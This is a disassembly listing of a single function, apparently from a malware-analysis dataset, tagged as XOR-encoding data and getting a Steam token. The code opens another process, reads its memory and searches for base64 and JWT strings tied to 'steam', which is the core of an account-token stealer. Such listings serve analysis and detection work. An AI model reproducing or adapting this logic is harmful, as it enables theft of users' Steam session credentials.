Function at 0x452c10
Capabilities:
Encode data using xor
Get steam token

Disassembly:
push ebx
mov ebx, esp
sub esp, 8
and esp, 0xfffffff8
add esp, 4
push ebp
mov ebp, dword [ebx + 4]
mov dword [esp + 4], ebp
mov ebp, esp
push 0xffffffffffffffff
push 0x527490
mov eax, dword fs:[0]
push eax
mov dword fs:[0], esp
push ebx
sub esp, 0x4e0
mov eax, ecx
mov dword [ebp - 0x20], eax
push esi
mov dword [ebp - 0x18], 1
mov esi, edx
push edi
mov dword [eax], 0
mov dword [eax + 4], 0
mov dword [eax + 8], 0
mov dword [ebp - 4], 0
mov edi, 1
push 0x64000
mov dword [ebp - 0x18], edi
call fcn.004fb0ff
xorps xmm0, xmm0
mov dword [ebp - 0x1c], eax
movups xmmword [ebp - 0x50], xmm0
add esp, 4
mov dword [ebp - 0x40], 0
mov dword [ebp - 0x3c], 0xf
mov byte [ebp - 0x50], 0
push esi
push 0
push 0x1fffff
mov dword [ebp - 4], edi
call dword [sym.imp.KERNEL32.dll_OpenProcess]
mov esi, eax
mov dword [ebp - 0x64], esi
test esi, esi
jne 0x452d0d
push dword [ebp - 0x1c]
call fcn.004fb130
mov ecx, dword [ebp - 0x3c]
add esp, 4
cmp ecx, 0x10
jb 0x452cf7
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x452ced
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453322
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov eax, dword [ebp - 0x20]
mov ecx, dword [ebp - 0xc]
pop edi
mov dword fs:[0], ecx
pop esi
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret
push 0x208
lea eax, [ebp - 0x2e8]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x4f0]
push eax
push dword [ebp - 0x1c]
sub esp, 8
push 0
push 0
mov ecx, esi
call fcn.004529e0
add esp, 0x18
mov ecx, eax
add ecx, 0x208
mov dword [ebp - 0x68], ecx
mov ecx, edx
adc ecx, 0
mov dword [ebp - 0x6c], ecx
test edx, edx
jne 0x452d68
test eax, eax
je 0x4532e5
test edx, edx
jne 0x452d68
cmp eax, 0xffff
jbe 0x452d7e
push 0
push 0x208
lea ecx, [ebp - 0x2e8]
push ecx
push eax
push esi
call dword [sym.imp.KERNEL32.dll_ReadProcessMemory]
lea ecx, [ebp - 0x2e8]
lea edx, [ecx + 1]
mov al, byte [ecx]
inc ecx
test al, al
jne 0x452d87
sub ecx, edx
lea eax, [ebp - 0x2e8]
push ecx
push eax
lea ecx, [ebp - 0x50]
call fcn.00482bf0
cmp dword [ebp - 0x40], 0x12c
jbe 0x4532b7
xorps xmm0, xmm0
push 0x50
movups xmmword [ebp - 0x98], xmm0
call fcn.004fae70
movups xmm0, xmmword [str.ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789__.]
mov esi, eax
mov dword [ebp - 0x88], 0x41
add esp, 4
mov dword [ebp - 0x98], esi
mov dword [ebp - 0x84], 0x4f
movups xmmword [esi], xmm0
movups xmm0, xmmword [0x542bc0]
movups xmmword [esi + 0x10], xmm0
movups xmm0, xmmword [0x542bd0]
movups xmmword [esi + 0x20], xmm0
movups xmm0, xmmword [0x542be0]
movups xmmword [esi + 0x30], xmm0
mov al, byte [0x542bf0]
mov byte [esi + 0x40], al
mov byte [esi + 0x41], 0
mov byte [ebp - 4], 2
lea ecx, [ebp - 0x50]
cmp dword [ebp - 0x3c], 0x10
mov edx, dword [ebp - 0x40]
cmovae ecx, dword [ebp - 0x50]
setae byte [ebp - 0x11]
push 0x41
push esi
push ecx
call fcn.004885c0
mov ecx, eax
add esp, 0xc
lea eax, [ebp - 0x50]
cmp ecx, 0xffffffff
je 0x452e7f
cmp dword [ebp - 0x40], ecx
xorps xmm0, xmm0
movups xmmword [ebp - 0xb0], xmm0
cmovb ecx, dword [ebp - 0x40]
cmp byte [ebp - 0x11], 0
push ecx
cmovne eax, dword [ebp - 0x50]
lea ecx, [ebp - 0xb0]
push eax
mov dword [ebp - 0xa0], 0
mov dword [ebp - 0x9c], 0
call fcn.00402b80
or edi, 6
jmp 0x452e8e
push eax
lea ecx, [ebp - 0xb0]
call fcn.00483010
or edi, 2
push 0x50
push esi
mov dword [ebp - 0x18], edi
call fcn.004fb0f1
add esp, 8
cmp dword [ebp - 0xa0], 0
je 0x45327a
sub esp, 0x18
xorps xmm0, xmm0
mov esi, esp
mov dword [ebp - 0xb4], esp
push 1
movups xmmword [esi], xmm0
push 0x542838
push esi
mov dword [esi + 0x10], 1
mov dword [esi + 0x14], 0xf
call fcn.004fcb50
mov byte [esi + 1], 0
sub esp, 0xc
mov byte [ebp - 4], 4
mov esi, esp
mov dword [ebp - 0xb8], esp
xorps xmm0, xmm0
push 0x30
movups xmmword [esi], xmm0
mov dword [esi + 0x10], 0
mov dword [esi + 0x14], 0xf
call fcn.004fae70
mov ecx, eax
mov dword [esi + 0x10], 0x2c
mov dword [esi], ecx
mov dword [esi + 0x14], 0x2f
movups xmm0, xmmword [str.eyAidHlwIjogIkpXVCIsICJhbGciOiAiRWREU0EiIH0.]
movups xmmword [ecx], xmm0
movups xmm0, xmmword [0x542c8c]
movups xmmword [ecx + 0x10], xmm0
movq xmm0, qword [0x542c9c]
movq qword [ecx + 0x20], xmm0
mov eax, dword [0x542ca4]
mov dword [ecx + 0x28], eax
mov byte [ecx + 0x2c], 0
sub esp, 0x14
mov byte [ebp - 4], 5
lea eax, [ebp - 0x50]
mov ecx, esp
push eax
call fcn.00483010
lea ecx, [ebp - 0x38]
mov byte [ebp - 4], 3
call fcn.00452500
add esp, 0x48
mov edx, eax
mov byte [ebp - 4], 6
lea ecx, [ebp - 0xe0]
call fcn.004028f0
mov byte [ebp - 4], 8
mov ecx, dword [ebp - 0x24]
cmp ecx, 0x10
jb 0x452fad
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x452fa3
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453322
push ecx
push edx
call fcn.004fb0f1
add esp, 8
sub esp, 0x28
mov dword [ebp - 0x28], 0
mov eax, esp
mov dword [ebp - 0x24], 0xf
lea edx, [ebp - 0xe0]
mov byte [ebp - 0x38], 0
lea ecx, [ebp - 0xc8]
push 0
push 1
mov dword [eax + 0x24], 0
call fcn.00487220
add esp, 0x30
mov byte [ebp - 4], 9
xorps xmm0, xmm0
xor ecx, ecx
mov word [ebp - 0x79], 0xfbee
xor eax, eax
mov byte [ebp - 0x77], 0xfa
movq qword [ebp - 0x76], xmm0
xor edx, edx
mov word [ebp - 0x6e], 0
sub cl, 0x79
lea eax, [ebp + eax - 0x79]
xor byte [eax], cl
lea ecx, [edx + 1]
mov eax, ecx
mov edx, ecx
cmp ecx, 3
jb 0x453005
mov dword [0x55d590], ecx
xorps xmm0, xmm0
lea ecx, [ebp - 0x79]
mov byte [ebp - 0x76], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24], 0
nop
mov al, byte [ecx]
inc ecx
test al, al
jne 0x453040
sub ecx, edx
lea eax, [ebp - 0x79]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402b80
or edi, 8
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0xa
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 0x10
lea ecx, [ebp - 0xc8]
cmovae eax, dword [ebp - 0x38]
push eax
call fcn.00486ff0
mov al, byte [eax]
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x24]
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x4530b7
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4530aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453322
push ecx
push edx
call fcn.004fb0f1
mov al, byte [ebp - 0x11]
add esp, 8
cmp al, 3
jne 0x453231
xorps xmm0, xmm0
mov word [ebp - 0x5d], 0xfbee
xor eax, eax
mov byte [ebp - 0x5b], 0xfa
xor ecx, ecx
movq qword [ebp - 0x5a], xmm0
mov word [ebp - 0x52], 0
xor edx, edx
nop dword [eax]
sub al, 0x79
xor byte [ebp + ecx - 0x5d], al
lea eax, [edx + 1]
mov ecx, eax
mov edx, eax
cmp eax, 3
jb 0x4530e0
xorps xmm0, xmm0
mov dword [0x55d590], eax
lea ecx, [ebp - 0x5d]
mov byte [ebp - 0x5a], 0
movups xmmword [ebp - 0x38], xmm0
mov dword [ebp - 0x28], 0
lea edx, [ecx + 1]
mov dword [ebp - 0x24], 0
mov al, byte [ecx]
inc ecx
test al, al
jne 0x453116
sub ecx, edx
lea eax, [ebp - 0x5d]
push ecx
push eax
lea ecx, [ebp - 0x38]
call fcn.00402b80
or edi, 0x10
mov dword [ebp - 0x18], edi
mov byte [ebp - 4], 0xb
lea eax, [ebp - 0x38]
cmp dword [ebp - 0x24], 0x10
lea ecx, [ebp - 0xc8]
cmovae eax, dword [ebp - 0x38]
push eax
call fcn.00486ff0
lea ecx, [ebp - 0x98]
push ecx
mov ecx, eax
call fcn.00487130
cmp dword [eax + 0x14], 0x10
mov edx, dword [eax + 0x10]
jb 0x453166
mov eax, dword [eax]
push 5
push str.steam
mov ecx, eax
call fcn.00492d00
mov ecx, dword [ebp - 0x84]
add esp, 8
mov byte [ebp - 0x11], al
cmp ecx, 0x10
jb 0x4531b4
mov edx, dword [ebp - 0x98]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4531aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453322
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 9
mov ecx, dword [ebp - 0x24]
mov dword [ebp - 0x88], 0
mov dword [ebp - 0x84], 0xf
mov byte [ebp - 0x98], 0
cmp ecx, 0x10
jb 0x453207
mov edx, dword [ebp - 0x38]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4531fd
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453322
push ecx
push edx
call fcn.004fb0f1
add esp, 8
cmp byte [ebp - 0x11], 0
je 0x453231
mov esi, dword [ebp - 0x20]
lea ecx, [ebp - 0x50]
push ecx
mov eax, dword [esi + 4]
cmp eax, dword [esi + 8]
je 0x453229
mov ecx, eax
call fcn.00483010
add dword [esi + 4], 0x18
jmp 0x453231
push eax
mov ecx, esi
call fcn.0048fcd0
lea ecx, [ebp - 0xc8]
call fcn.00480b00
mov byte [ebp - 4], 3
mov ecx, dword [ebp - 0xcc]
cmp ecx, 0x10
jb 0x45327a
mov edx, dword [ebp - 0xe0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x453270
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453322
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov byte [ebp - 4], 1
mov ecx, dword [ebp - 0x9c]
cmp ecx, 0x10
jb 0x4532b4
mov edx, dword [ebp - 0xb0]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x4532aa
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
ja 0x453322
push ecx
push edx
call fcn.004fb0f1
add esp, 8
mov esi, dword [ebp - 0x64]
push 0x208
lea eax, [ebp - 0x2e8]
push 0
push eax
call fcn.004fd0d0
add esp, 0xc
lea eax, [ebp - 0x4f0]
push eax
push dword [ebp - 0x1c]
sub esp, 8
push dword [ebp - 0x6c]
push dword [ebp - 0x68]
jmp 0x452d34
push dword [ebp - 0x1c]
call fcn.004fb130
mov ecx, dword [ebp - 0x3c]
add esp, 4
cmp ecx, 0x10
jb 0x452cf7
mov edx, dword [ebp - 0x50]
inc ecx
mov eax, edx
cmp ecx, 0x1000
jb 0x452ced
mov edx, dword [eax - 4]
add ecx, 0x23
sub eax, edx
add eax, 0xfffffffc
cmp eax, 0x1f
jbe 0x452ced
call fcn.00500390
int3